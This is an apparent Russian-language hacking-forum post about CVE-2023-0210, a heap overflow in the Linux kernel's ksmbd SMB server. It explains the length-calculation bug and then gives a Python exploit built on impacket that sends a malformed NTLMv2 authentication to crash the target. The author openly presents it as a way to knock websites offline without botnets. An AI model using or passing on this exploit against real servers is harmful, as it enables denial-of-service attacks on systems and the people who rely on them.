Новый Год начинается с новой уязвимости в ядре Linux | End Way - форум программирования и сливов различных скриптов
  • Присоединяйтесь к нам в телеграм канал! EndWay канал | EndSoft канал | EWStudio канал
  • Хочешь поставить скрипт, но не умеешь?
    А может ты хочешь свой скрипт на основе слитого?

    Тогда добро пожаловать в нашу студию разработки!

    Телеграм бот: EWStudioBot
    Телеграм канал: EWStudio

Новый Год начинается с новой уязвимости в ядре Linux

d3ddd0s

Джун
Автор темы
12 Янв 2023
1
0
0
Всех с прошедшим!:opop

Сегодня я вам расскажу о деталях новой уязвимости в ядре Linux, которая позволяет проводить удаленную атаку типа DoS(Denial-of-Service) лишь отослав один пакет.

Уязвимость CVE-2023-0210 была найдена в модуле с открытым исходным кодом ядра Linux - ksmbd(используется для аутенфикации посредством NTLMv2 протокола). Уязвимость позволяет моментально крашить систему на которую будет прислан поддельный пакет.

В чем суть? Все дело из-за переполнения "кучи"(heap) из-за уязвимой функции ksmbd_decode_ntlmssp_auth_blob. Переменная nt_len может быть меньше CIFS_ENCPWD_SIZE, все это может привести к негативному аргументу blen для функции ksmbd_auth_ntlmv2, а этот аргумент в свою очередь приводит к неправильному использованию memcpy аллоцированной памяти. Кипит голова? А я еще не упомянул все детали:brff Но мы можем сделать вывод!

Вывод: неправильно рассчитываемая длина пакетов приводит к ошибке в копировании, что приводит к крашу системы в целом, спасибо C за "no memory-safety":like Таким образом можно ложить сайты без никаких ботнетов, стрессеров и прочей лабуды, если на сервере активен "демон" ksmbd. Но как сделать данный эксплоит никто не поймет, у них же лапки, поэтому ниже будет код на всеми любимом петухоне:utka

Python:
from impacket.smbconnection import SMBConnection
from impacket import ntlm
import functools

user = "test"
pw = "test"
domain = "localhost"
address = "127.0.0.1"
target_ip = "127.0.0.1"
port = "445"

def post_function(func, post_func):
    @functools.wrap(func)
    def run(*args, **kwargs):
        resp = func(*args, **kwargs)
        return post_func(resp)
    
    return run

def post_ntlm_hook(resp):
    return ('A' * 10, resp[1], resp[2])

ntlm.computeResponseNTLMv2 = post_function(
    ntlm.computeResponseNTLMv2,
    post_ntlm_hook
)

smb_client = SMBConnection(address, target_ip, port)
smb_client.login(user, pw, domain)
 
Активность:
Пока что здесь никого нет